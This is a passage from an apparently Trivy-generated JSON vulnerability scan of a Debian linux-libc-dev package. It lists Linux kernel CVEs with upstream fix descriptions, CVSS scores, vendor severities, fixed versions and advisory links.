"https://git.kernel.org/stable/c/d9cef55ed49117bd63695446fb84b4b91815c0b4", "https://git.kernel.org/stable/c/e3065286959664207c0162178a3b5a90808a1bf9", "https://lore.kernel.org/linux-cve-announce/2025090543-CVE-2025-38734-a75f@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2025-38734", "https://ubuntu.com/security/notices/USN-8028-1", "https://ubuntu.com/security/notices/USN-8028-2", "https://ubuntu.com/security/notices/USN-8028-3", "https://ubuntu.com/security/notices/USN-8028-4", "https://ubuntu.com/security/notices/USN-8028-5", "https://ubuntu.com/security/notices/USN-8028-6", "https://ubuntu.com/security/notices/USN-8028-7", "https://ubuntu.com/security/notices/USN-8028-8", "https://ubuntu.com/security/notices/USN-8031-1", "https://ubuntu.com/security/notices/USN-8031-2", "https://ubuntu.com/security/notices/USN-8031-3", "https://ubuntu.com/security/notices/USN-8052-1", "https://ubuntu.com/security/notices/USN-8052-2", "https://ubuntu.com/security/notices/USN-8074-1", "https://ubuntu.com/security/notices/USN-8074-2", "https://ubuntu.com/security/notices/USN-8126-1", "https://www.cve.org/CVERecord?id=CVE-2025-38734" ], "PublishedDate": "2025-09-05T18:15:42.677Z", "LastModifiedDate": "2026-10-30T13:18:08.217Z" }, { "VulnerabilityID": "CVE-2025-39744", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-39744", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:55e694575b9d5fe9cd556fc51f40529e0a2d6ea933e7ec20404eb06aefa981b8", "Title": "kernel: rcu: Fix rcu_read_unlock() deadloop due to IRQ work", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nrcu: Fix rcu_read_unlock() deadloop due to IRQ work\n\nDuring rcu_read_unlock_special(), if this happens during irq_exit(), we\ncan lockup if an IPI is issued. This is because the IPI itself triggers\nthe irq_exit() path causing a recursive lock up.\n\nThis is precisely what Xiongfeng found when invoking a BPF program on\nthe trace_tick_stop() tracepoint As shown in the trace below. Fix by\nmanaging the irq_work state correctly.\n\nirq_exit()\n __irq_exit_rcu()\n /* in_hardirq() returns false after this */\n preempt_count_sub(HARDIRQ_OFFSET)\n tick_irq_exit()\n tick_nohz_irq_exit()\n\t tick_nohz_stop_sched_tick()\n\t trace_tick_stop() /* a bpf prog is hooked on this trace point */\n\t\t __bpf_trace_tick_stop()\n\t\t bpf_trace_run2()\n\t\t\t rcu_read_unlock_special()\n /* will send a IPI to itself */\n\t\t\t irq_work_queue_on(\u0026rdp-\u003edefer_qs_iw, rdp-\u003ecpu);\n\nA simple reproducer can also be obtained by doing the following in\ntick_irq_exit(). It will hang on boot without the patch:\n\n static inline void tick_irq_exit(void)\n {\n +\trcu_read_lock();\n +\tWRITE_ONCE(current-\u003ercu_read_unlock_special.b.need_qs, true);\n +\trcu_read_unlock();\n +\n\n[neeraj: Apply Frederic's suggested fix for PREEMPT_RT]", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "amazon": 3, "azure": 2, "bottlerocket": 2, "nvd": 3, "oracle-oval": 3, "photon": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-39744", "https://access.redhat.com/security/cve/CVE-2025-39744", "https://git.kernel.org/linus/b41642c87716bbd09797b1e4ea7d904f06c39b7b%20%286.17-rc1%29", "https://git.kernel.org/stable/c/1cfa244f7198d325594e627574930b7b91df5bfe", "https://git.kernel.org/stable/c/56c5ef194f4509df63fc0f7a91ea5973ce479b1e", "https://git.kernel.org/stable/c/6b552ffd21f9be57806ade167a757f32dd66a98d", "https://git.kernel.org/stable/c/b41642c87716bbd09797b1e4ea7d904f06c39b7b", "https://git.kernel.org/stable/c/ddebb2a7677673cf4438a04e1a48b8ed6b0c8e9a", "https://git.kernel.org/stable/c/e7a375453cca2b8a0d2fa1b82b913f3fed7c0507", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/4.3.2/BRSA-fn9ayetlomuk.toml", "https://linux.oracle.com/cve/CVE-2025-39744.html", "https://linux.oracle.com/errata/ELSA-2025-20662.html", "https://lore.kernel.org/linux-cve-announce/2025091140-CVE-2025-39744-2744@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2025-39744", "https://ubuntu.com/security/notices/USN-8028-1", "https://ubuntu.com/security/notices/USN-8028-2", "https://ubuntu.com/security/notices/USN-8028-3", "https://ubuntu.com/security/notices/USN-8028-4", "https://ubuntu.com/security/notices/USN-8028-5", "https://ubuntu.com/security/notices/USN-8028-6", "https://ubuntu.com/security/notices/USN-8028-7", "https://ubuntu.com/security/notices/USN-8028-8", "https://ubuntu.com/security/notices/USN-8031-1", "https://ubuntu.com/security/notices/USN-8031-2", "https://ubuntu.com/security/notices/USN-8031-3", "https://ubuntu.com/security/notices/USN-8052-1", "https://ubuntu.com/security/notices/USN-8052-2", "https://ubuntu.com/security/notices/USN-8074-1", "https://ubuntu.com/security/notices/USN-8074-2", "https://ubuntu.com/security/notices/USN-8126-1", "https://www.cve.org/CVERecord?id=CVE-2025-39744" ], "PublishedDate": "2025-09-11T17:15:37.6Z", "LastModifiedDate": "2026-10-30T13:18:09.093Z" }, { "VulnerabilityID": "CVE-2025-39797", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-39797", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:0c8dd1c62ec2ce1ae959d232ca6ff77f99bc28744bee8a507d76e51020324971", "Title": "kernel: xfrm: Duplicate SPI Handling", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nxfrm: Duplicate SPI Handling\n\nThe issue originates when Strongswan initiates an XFRM_MSG_ALLOCSPI\nNetlink message, which triggers the kernel function xfrm_alloc_spi().\nThis function is expected to ensure uniqueness of the Security Parameter\nIndex (SPI) for inbound Security Associations (SAs). However, it can\nreturn success even when the requested SPI is already in use, leading\nto duplicate SPIs assigned to multiple inbound SAs, differentiated\nonly by their destination addresses.\n\nThis behavior causes inconsistencies during SPI lookups for inbound packets.\nSince the lookup may return an arbitrary SA among those with the same SPI,\npacket processing can fail, resulting in packet drops.\n\nAccording to RFC 4301 section 4.4.2 , for inbound processing a unicast SA\nis uniquely identified by the SPI and optionally protocol.\n\nReproducing the Issue Reliably:\nTo consistently reproduce the problem, restrict the available SPI range in\ncharon.conf : spi_min = 0x10000000 spi_max = 0x10000002\nThis limits the system to only 2 usable SPI values.\nNext, create more than 2 Child SA. each using unique pair of src/dst address.\nAs soon as the 3rd Child SA is initiated, it will be assigned a duplicate\nSPI, since the SPI pool is already exhausted.\nWith a narrow SPI range, the issue is consistently reproducible.\nWith a broader/default range, it becomes rare and unpredictable.\n\nCurrent implementation:\nxfrm_spi_hash() lookup function computes hash using daddr, proto, and family.\nSo if two SAs have the same SPI but different destination addresses, then\nthey will:\na. Hash into different buckets\nb. Be stored in different linked lists (byspi + h)\nc. Not be seen in the same hlist_for_each_entry_rcu() iteration.\nAs a result, the lookup will result in NULL and kernel allows that Duplicate SPI\n\nProposed Change:\nxfrm_state_lookup_spi_proto() does a truly global search - across all states,\nregardless of hash bucket and matches SPI and proto.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "bottlerocket": 2, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "rocky": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.3 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-39797", "https://access.redhat.com/errata/RHSA-2026:47040", "https://access.redhat.com/security/cve/CVE-2025-39797", "https://bugzilla.redhat.com/2400057", "https://bugzilla.redhat.com/2432666", "https://bugzilla.redhat.com/2492413", "https://bugzilla.redhat.com/2493728", "https://bugzilla.redhat.com/2502449", "https://bugzilla.redhat.com/show_bug.cgi?id=2400057", "https://bugzilla.redhat.com/show_bug.cgi?id=2432666", "https://bugzilla.redhat.com/show_bug.cgi?id=2492413", "https://bugzilla.redhat.com/show_bug.cgi?id=2493728", "https://bugzilla.redhat.com/show_bug.cgi?id=2502449", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-39797", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23002", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52973", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53281", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64017", "https://errata.almalinux.org/9/ALSA-2026-47040.html", "https://errata.rockylinux.org/RLSA-2026:47040", "https://git.kernel.org/linus/94f39804d891cffe4ce17737d295f3b195bc7299%20%286.17-rc1%29", "https://git.kernel.org/stable/c/29e9158f91f99057dbd35db5e8674d93b38549fe", "https://git.kernel.org/stable/c/2fc5b54368a1bf1d2d74b4d3b8eea5309a653e38", "https://git.kernel.org/stable/c/3d8090bb53424432fa788fe9a49e8ceca74f0544", "https://git.kernel.org/stable/c/94f39804d891cffe4ce17737d295f3b195bc7299", "https://git.kernel.org/stable/c/c67d4e7a8f90fb6361ca89d4d5c9a28f4e935e47", "https://git.kernel.org/stable/c/fb58962aa3b9359988c7b5b15a971fd9ad5b0ecd", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/4.3.2/BRSA-dnocnnwrf8dx.toml", "https://linux.oracle.com/cve/CVE-2025-39797.html", "https://linux.oracle.com/errata/ELSA-2026-47040.html", "https://lore.kernel.org/linux-cve-announce/2025091224-CVE-2025-39797-b0f7@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2025-39797", "https://ubuntu.com/security/notices/USN-8028-1", "https://ubuntu.com/security/notices/USN-8028-2", "https://ubuntu.com/security/notices/USN-8028-3", "https://ubuntu.com/security/notices/USN-8028-4", "https://ubuntu.com/security/notices/USN-8028-5", "https://ubuntu.com/security/notices/USN-8028-6", "https://ubuntu.com/security/notices/USN-8028-7", "https://ubuntu.com/security/notices/USN-8028-8", "https://ubuntu.com/security/notices/USN-8031-1", "https://ubuntu.com/security/notices/USN-8031-2", "https://ubuntu.com/security/notices/USN-8031-3", "https://ubuntu.com/security/notices/USN-8052-1", "https://ubuntu.com/security/notices/USN-8052-2", "https://ubuntu.com/security/notices/USN-8074-1", "https://ubuntu.com/security/notices/USN-8074-2", "https://ubuntu.com/security/notices/USN-8126-1", "https://www.cve.org/CVERecord?id=CVE-2025-39797" ], "PublishedDate": "2025-09-12T16:15:34.137Z", "LastModifiedDate": "2026-11-05T22:17:32.04Z" }, { "VulnerabilityID": "CVE-2025-39810", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-39810", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:2b6c637f8ee285e283a0a2262afe2880fad34730b39d86519d151fb9272dc48c", "Title": "kernel: bnxt_en: Fix memory corruption when FW resources change during ifdown", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nbnxt_en: Fix memory corruption when FW resources change during ifdown\n\nbnxt_set_dflt_rings() assumes that it is always called before any TC has\nbeen created. So it doesn't take bp-\u003enum_tc into account and assumes\nthat it is always 0 or 1.\n\nIn the FW resource or capability change scenario, the FW will return\nflags in bnxt_hwrm_if_change() that will cause the driver to\nreinitialize and call bnxt_cancel_reservations(). This will lead to\nbnxt_init_dflt_ring_mode() calling bnxt_set_dflt_rings() and bp-\u003enum_tc\nmay be greater than 1. This will cause bp-\u003etx_ring[] to be sized too\nsmall and cause memory corruption in bnxt_alloc_cp_rings().\n\nFix it by properly scaling the TX rings by bp-\u003enum_tc in the code\npaths mentioned above. Add 2 helper functions to determine\nbp-\u003etx_nr_rings and bp-\u003etx_nr_rings_per_tc.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:N/I:H/A:H", "V3Score": 5.7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2025-39810", "https://git.kernel.org/linus/2747328ba2714f1a7454208dbbc1dc0631990b4a%20%286.17-rc4%29", "https://git.kernel.org/stable/c/2747328ba2714f1a7454208dbbc1dc0631990b4a", "https://git.kernel.org/stable/c/9ab6a9950f152e094395d2e3967f889857daa185", "https://git.kernel.org/stable/c/c0082a8947cf1a543013346d10c1857f0c57db83", "https://git.kernel.org/stable/c/d00e98977ef519280b075d783653e2c492fffbb6", "https://git.kernel.org/stable/c/dc797a4bbbcac6d19e6e2508e4df685755cd94a5", "https://linux.oracle.com/cve/CVE-2025-39810.html", "https://linux.oracle.com/errata/ELSA-2026-50007.html", "https://lore.kernel.org/linux-cve-announce/2025091614-CVE-2025-39810-ed5c@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2025-39810", "https://ubuntu.com/security/notices/USN-8095-1", "https://ubuntu.com/security/notices/USN-8095-2", "https://ubuntu.com/security/notices/USN-8095-3", "https://ubuntu.com/security/notices/USN-8095-4", "https://ubuntu.com/security/notices/USN-8095-5", "https://ubuntu.com/security/notices/USN-8100-1", "https://ubuntu.com/security/notices/USN-8125-1", "https://ubuntu.com/security/notices/USN-8126-1", "https://ubuntu.com/security/notices/USN-8165-1", "https://ubuntu.com/security/notices/USN-8261-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2025-39810" ], "PublishedDate": "2025-09-16T13:15:53.543Z", "LastModifiedDate": "2026-10-30T13:18:09.857Z" }, { "VulnerabilityID": "CVE-2025-39859", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-39859", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:79723fe8667bdd954084f0a3085a08386f5a1ceb3b855333b5613468aee2d9d0", "Title": "kernel: ptp: ocp: fix use-after-free bugs causing by ptp_ocp_watchdog", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nptp: ocp: fix use-after-free bugs causing by ptp_ocp_watchdog\n\nThe ptp_ocp_detach() only shuts down the watchdog timer if it is\npending. However, if the timer handler is already running, the\ntimer_delete_sync() is not called. This leads to race conditions\nwhere the devlink that contains the ptp_ocp is deallocated while\nthe timer handler is still accessing it, resulting in use-after-free\nbugs. The following details one of the race scenarios.\n\n(thread 1) | (thread 2)\nptp_ocp_remove() |\n ptp_ocp_detach() | ptp_ocp_watchdog()\n if (timer_pending(\u0026bp-\u003ewatchdog))| bp = timer_container_of()\n timer_delete_sync() |\n |\n devlink_free(devlink) //free |\n | bp-\u003e //use\n\nResolve this by unconditionally calling timer_delete_sync() to ensure\nthe timer is reliably deactivated, preventing any access after free.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2025-39859", "https://git.kernel.org/linus/8bf935cf789872350b04c1a6468b0a509f67afb2%20%286.17-rc5%29", "https://git.kernel.org/stable/c/8bf935cf789872350b04c1a6468b0a509f67afb2", "https://git.kernel.org/stable/c/a59822a762039b6e0252f21b091245d6ad7f324b", "https://git.kernel.org/stable/c/aad70bdfc8244616e48c434310cab241a3f17781", "https://git.kernel.org/stable/c/e2a6eabe5304a789b7d40ce2576cd80154255e51", "https://git.kernel.org/stable/c/f10d3c7267ac7387a5129d5506c3c5f2460cfd9b", "https://lore.kernel.org/linux-cve-announce/2025091905-CVE-2025-39859-52d5@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2025-39859", "https://ubuntu.com/security/notices/USN-8781-1", "https://www.cve.org/CVERecord?id=CVE-2025-39859" ], "PublishedDate": "2025-09-19T16:15:44.867Z", "LastModifiedDate": "2026-10-30T13:18:10.767Z" }, { "VulnerabilityID": "CVE-2025-39863", "VendorIDs": [ "DSA-6243-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.170-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-39863", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:76cf74f37052a4c2cc583ba44bf6dc51097466a2e02029cf5d34bac2b062577a", "Title": "kernel: wifi: brcmfmac: fix use-after-free when rescheduling brcmf_btcoex_info work", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: brcmfmac: fix use-after-free when rescheduling brcmf_btcoex_info work\n\nThe brcmf_btcoex_detach() only shuts down the btcoex timer, if the\nflag timer_on is false. However, the brcmf_btcoex_timerfunc(), which\nruns as timer handler, sets timer_on to false. This creates critical\nrace conditions:\n\n1.If brcmf_btcoex_detach() is called while brcmf_btcoex_timerfunc()\nis executing, it may observe timer_on as false and skip the call to\ntimer_shutdown_sync().\n\n2.The brcmf_btcoex_timerfunc() may then reschedule the brcmf_btcoex_info\nworker after the cancel_work_sync() has been executed, resulting in\nuse-after-free bugs.\n\nThe use-after-free bugs occur in two distinct scenarios, depending on\nthe timing of when the brcmf_btcoex_info struct is freed relative to\nthe execution of its worker thread.\n\nScenario 1: Freed before the worker is scheduled\n\nThe brcmf_btcoex_info is deallocated before the worker is scheduled.\nA race condition can occur when schedule_work(\u0026bt_local-\u003ework) is\ncalled after the target memory has been freed. The sequence of events\nis detailed below:\n\nCPU0 | CPU1\nbrcmf_btcoex_detach | brcmf_btcoex_timerfunc\n | bt_local-\u003etimer_on = false;\n if (cfg-\u003ebtcoex-\u003etimer_on) |\n ... |\n cancel_work_sync(); |\n ... |\n kfree(cfg-\u003ebtcoex); // FREE |\n | schedule_work(\u0026bt_local-\u003ework); // USE\n\nScenario 2: Freed after the worker is scheduled\n\nThe brcmf_btcoex_info is freed after the worker has been scheduled\nbut before or during its execution. In this case, statements within\nthe brcmf_btcoex_handler() — such as the container_of macro and\nsubsequent dereferences of the brcmf_btcoex_info object will cause\na use-after-free access. The following timeline illustrates this\nscenario:\n\nCPU0 | CPU1\nbrcmf_btcoex_detach | brcmf_btcoex_timerfunc\n | bt_local-\u003etimer_on = false;\n if (cfg-\u003ebtcoex-\u003etimer_on) |\n ... |\n cancel_work_sync(); |\n ... | schedule_work(); // Reschedule\n |\n kfree(cfg-\u003ebtcoex); // FREE | brcmf_btcoex_handler() // Worker\n /* | btci = container_of(....); // USE\n The kfree() above could | ...\n also occur at any point | btci-\u003e // USE\n during the worker's execution|\n */ |\n\nTo resolve the race conditions, drop the conditional check and call\ntimer_shutdown_sync() directly. It can deactivate the timer reliably,\nregardless of its current state. Once stopped, the timer_on state is\nthen set to false.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "azure": 3, "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 4.7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2025-39863", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://git.kernel.org/linus/9cb83d4be0b9b697eae93d321e0da999f9cdfcfc%20%286.17-rc5%29", "https://git.kernel.org/stable/c/2f6fbc8e04ca1d1d5c560be694199f847229c625", "https://git.kernel.org/stable/c/3e789f8475f6c857c88de5c5bf4b24b11a477dd7", "https://git.kernel.org/stable/c/9cb83d4be0b9b697eae93d321e0da999f9cdfcfc", "https://git.kernel.org/stable/c/ae58f70bde0433f27ef4b388ab50634736607bf6", "https://git.kernel.org/stable/c/c75600e69e66a751cc046cd9c407b942f298d852", "https://git.kernel.org/stable/c/f1150153c4e5940fe49ab51136343c5b4fe49d63", "https://linux.oracle.com/cve/CVE-2025-39863.html", "https://linux.oracle.com/errata/ELBA-2026-500163.html", "https://lore.kernel.org/linux-cve-announce/2025091906-CVE-2025-39863-874e@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2025-39863", "https://ubuntu.com/security/notices/USN-8095-1", "https://ubuntu.com/security/notices/USN-8095-2", "https://ubuntu.com/security/notices/USN-8095-3", "https://ubuntu.com/security/notices/USN-8095-4", "https://ubuntu.com/security/notices/USN-8095-5", "https://ubuntu.com/security/notices/USN-8100-1", "https://ubuntu.com/security/notices/USN-8125-1", "https://ubuntu.com/security/notices/USN-8126-1", "https://ubuntu.com/security/notices/USN-8165-1", "https://ubuntu.com/security/notices/USN-8261-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2025-39863" ], "PublishedDate": "2025-09-19T16:15:45.31Z", "LastModifiedDate": "2026-10-19T21:10:00.16Z" }, { "VulnerabilityID": "CVE-2025-39901", "VendorIDs": [ "DLA-4777-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.187-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-39901", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:79d257da9bbc8992b0cb5a1ca318fddb81a1d02fad14aef2feff0dd0922fcd78", "Title": "kernel: i40e: remove read access to debugfs files", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ni40e: remove read access to debugfs files\n\nThe 'command' and 'netdev_ops' debugfs files are a legacy debugging\ninterface supported by the i40e driver since its early days by commit\n02e9c290814c (\"i40e: debugfs interface\").\n\nBoth of these debugfs files provide a read handler which is mostly useless,\nand which is implemented with questionable logic. They both use a static\n256 byte buffer which is initialized to the empty string. In the case of\nthe 'command' file this buffer is literally never used and simply wastes\nspace. In the case of the 'netdev_ops' file, the last command written is\nsaved here.\n\nOn read, the files contents are presented as the name of the device\nfollowed by a colon and then the contents of their respective static\nbuffer. For 'command' this will always be \"\u003cdevice\u003e: \". For 'netdev_ops',\nthis will be \"\u003cdevice\u003e: \u003clast command written\u003e\". But note the buffer is\nshared between all devices operated by this module. At best, it is mostly\nmeaningless information, and at worse it could be accessed simultaneously\nas there doesn't appear to be any locking mechanism.\n\nWe have also recently received multiple reports for both read functions\nabout their use of snprintf and potential overflow that could result in\nreading arbitrary kernel memory. For the 'command' file, this is definitely\nimpossible, since the static buffer is always zero and never written to.\nFor the 'netdev_ops' file, it does appear to be possible, if the user\ncarefully crafts the command input, it will be copied into the buffer,\nwhich could be large enough to cause snprintf to truncate, which then\ncauses the copy_to_user to read beyond the length of the buffer allocated\nby kzalloc.\n\nA minimal fix would be to replace snprintf() with scnprintf() which would\ncap the return to the number of bytes written, preventing an overflow. A\nmore involved fix would be to drop the mostly useless static buffers,\nsaving 512 bytes and modifying the read functions to stop needing those as\ninput.\n\nInstead, lets just completely drop the read access to these files. These\nare debug interfaces exposed as part of debugfs, and I don't believe that\ndropping read access will break any script, as the provided output is\npretty useless. You can find the netdev name through other more standard\ninterfaces, and the 'netdev_ops' interface can easily result in garbage if\nyou issue simultaneous writes to multiple devices at once.\n\nIn order to properly remove the i40e_dbg_netdev_ops_buf, we need to\nrefactor its write function to avoid using the static buffer. Instead, use\nthe same logic as the i40e_dbg_command_write, with an allocated buffer.\nUpdate the code to use this instead of the static buffer, and ensure we\nfree the buffer on exit. This fixes simultaneous writes to 'netdev_ops' on\nmultiple devices, and allows us to remove the now unused static buffer\nalong with removing the read access.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "amazon": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.3 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2025-39901", "https://git.kernel.org/linus/9fcdb1c3c4ba134434694c001dbff343f1ffa319%20%286.17-rc5%29", "https://git.kernel.org/stable/c/6fd8b30a5cb84d74015bc651799d1ab1e047946c", "https://git.kernel.org/stable/c/70d3dad7d5ad077965d7a63eed1942b7ba49bfb4", "https://git.kernel.org/stable/c/7d190963b80f4cd99d7008615600aa7cc993c6ba", "https://git.kernel.org/stable/c/9fcdb1c3c4ba134434694c001dbff343f1ffa319", "https://git.kernel.org/stable/c/ef40d9411469306e524e7887c51b709377e6ef65", "https://linux.oracle.com/cve/CVE-2025-39901.html", "https://linux.oracle.com/errata/ELSA-2025-25754.html", "https://lore.kernel.org/linux-cve-announce/2025100117-CVE-2025-39901-d6f4@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2025-39901", "https://ubuntu.com/security/notices/USN-8095-1", "https://ubuntu.com/security/notices/USN-8095-2", "https://ubuntu.com/security/notices/USN-8095-3", "https://ubuntu.com/security/notices/USN-8095-4", "https://ubuntu.com/security/notices/USN-8095-5", "https://ubuntu.com/security/notices/USN-8100-1", "https://ubuntu.com/security/notices/USN-8125-1", "https://ubuntu.com/security/notices/USN-8126-1", "https://ubuntu.com/security/notices/USN-8165-1", "https://ubuntu.com/security/notices/USN-8261-1", "https://www.cve.org/CVERecord?id=CVE-2025-39901" ], "PublishedDate": "2025-10-01T08:15:32.86Z", "LastModifiedDate": "2026-10-19T21:10:00.16Z" }, { "VulnerabilityID": "CVE-2025-39952", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": 